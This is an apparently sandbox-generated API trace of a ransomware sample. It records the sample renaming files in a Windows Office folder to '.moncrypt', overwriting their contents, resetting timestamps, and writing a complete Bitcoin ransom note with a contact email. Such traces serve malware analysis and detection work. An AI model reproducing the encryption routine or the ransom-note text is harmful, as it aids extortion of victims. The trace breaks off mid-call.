[0048.028] GlobalUnlock (hMem=0x44000c) returned 0 [0048.028] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.028] GlobalUnlock (hMem=0x440004) returned 0 [0048.028] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.028] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.029] CloseHandle (hObject=0x190) returned 1 [0048.029] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\я")) returned 1 [0048.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 0x54e280 [0048.030] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.030] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.030] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", dwFileAttributes=0x20) returned 1 [0048.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.moncrypt")) returned 1 [0048.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.036] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.036] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x91975 [0048.036] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.036] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x4000, lpOverlapped=0x0) returned 1 [0048.038] GlobalLock (hMem=0x440004) returned 0x555650 [0048.038] GlobalLock (hMem=0x44000c) returned 0x55b660 [0048.038] GlobalHandle (pMem=0x55b660) returned 0x44000c [0048.038] GlobalUnlock (hMem=0x44000c) returned 0 [0048.038] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0048.038] GlobalLock (hMem=0x44000c) returned 0x55b660 [0048.038] GlobalHandle (pMem=0x55b660) returned 0x44000c [0048.038] GlobalUnlock (hMem=0x44000c) returned 0 [0048.038] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0048.038] GlobalLock (hMem=0x44000c) returned 0x55b660 [0048.039] GlobalHandle (pMem=0x555650) returned 0x440004 [0048.039] GlobalUnlock (hMem=0x440004) returned 0 [0048.039] GlobalHandle (pMem=0x55b660) returned 0x44000c [0048.039] GlobalUnlock (hMem=0x44000c) returned 0 [0048.039] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.039] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.039] GlobalUnlock (hMem=0x44000c) returned 0 [0048.039] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0048.039] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.039] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.039] GlobalUnlock (hMem=0x44000c) returned 0 [0048.039] ReadFile (in: hFile=0x190, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e3b4*=0x20, lpOverlapped=0x0) returned 1 [0048.039] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x0 [0048.039] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e3b0*=0x4020, lpOverlapped=0x0) returned 1 [0048.040] SetFilePointer (in: hFile=0x190, lDistanceToMove=596341, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x91975 [0048.040] WriteFile (in: hFile=0x190, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e3b0*=0x20, lpOverlapped=0x0) returned 1 [0048.041] WriteFile (in: hFile=0x190, lpBuffer=0x18e42c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x18e42c*, lpNumberOfBytesWritten=0x18e3b0*=0x8, lpOverlapped=0x0) returned 1 [0048.041] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0048.051] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e3b0*=0x9c, lpOverlapped=0x0) returned 1 [0048.051] CloseHandle (hObject=0x190) returned 1 [0048.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.061] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.061] CloseHandle (hObject=0x190) returned 1 [0048.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.061] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.061] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.061] GlobalUnlock (hMem=0x44000c) returned 0 [0048.061] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.061] GlobalLock (hMem=0x440004) returned 0x557660 [0048.061] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.061] GlobalUnlock (hMem=0x44000c) returned 0 [0048.062] GlobalHandle (pMem=0x557660) returned 0x440004 [0048.062] GlobalUnlock (hMem=0x440004) returned 0 [0048.062] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557660, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e699a0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.062] GetLastError () returned 0x2 [0048.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.062] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc068*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.063] CloseHandle (hObject=0x190) returned 1 [0048.063] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0048.063] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.063] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.063] GlobalLock (hMem=0x440004) returned 0x555650 [0048.063] GlobalHandle (pMem=0x555650) returned 0x440004 [0048.063] GlobalUnlock (hMem=0x440004) returned 0 [0048.063] GlobalLock (hMem=0x440004) returned 0x555650 [0048.063] GlobalLock (hMem=0x44000c) returned 0x557660 [0048.063] GlobalHandle (pMem=0x555650) returned 0x440004 [0048.063] GlobalUnlock (hMem=0x440004) returned 0 [0048.063] GlobalHandle (pMem=0x557660) returned 0x44000c [0048.063] GlobalUnlock (hMem=0x44000c) returned 0 [0048.064] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.064] CharLowerBuffW (in: lpsz="OCT.CHM", cchLength=0x7 | out: lpsz="oct.chm") returned 0x7 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", cchWideChar=100, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHMx", lpUsedDefaultChar=0x0) returned 100 [0048.064] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0048.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHMx", lpUsedDefaultChar=0x0) returned 4 [0048.064] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0048.064] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.064] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.065] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.065] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.065] GlobalUnlock (hMem=0x44000c) returned 0 [0048.065] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.065] GlobalLock (hMem=0x440004) returned 0x557660 [0048.065] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.065] GlobalUnlock (hMem=0x44000c) returned 0 [0048.065] GlobalHandle (pMem=0x557660) returned 0x440004 [0048.065] GlobalUnlock (hMem=0x440004) returned 0 [0048.065] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.065] CharLowerBuffW (in: lpsz="OfficeMUI.XML", cchLength=0xd | out: lpsz="officemui.xml") returned 0xd [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", cchWideChar=106, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XMLT", lpUsedDefaultChar=0x0) returned 106 [0048.066] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XMLT", lpUsedDefaultChar=0x0) returned 4 [0048.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 0x54e280 [0048.066] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.066] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.066] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", dwFileAttributes=0x20) returned 1 [0048.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.moncrypt")) returned 1 [0048.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.067] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.067] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x15b5 [0048.067] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.067] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x15b5, lpOverlapped=0x0) returned 1 [0048.069] GlobalLock (hMem=0x440004) returned 0x555650 [0048.069] GlobalLock (hMem=0x44000c) returned 0x557660 [0048.069] GlobalHandle (pMem=0x555650) returned 0x440004 [0048.069] GlobalUnlock (hMem=0x440004) returned 0 [0048.069] GlobalHandle (pMem=0x557660) returned 0x44000c [0048.069] GlobalUnlock (hMem=0x44000c) returned 0 [0048.069] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.069] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.069] GlobalUnlock (hMem=0x44000c) returned 0 [0048.080] CreateFileW (lpFileName="C:\\Program Files\\Common 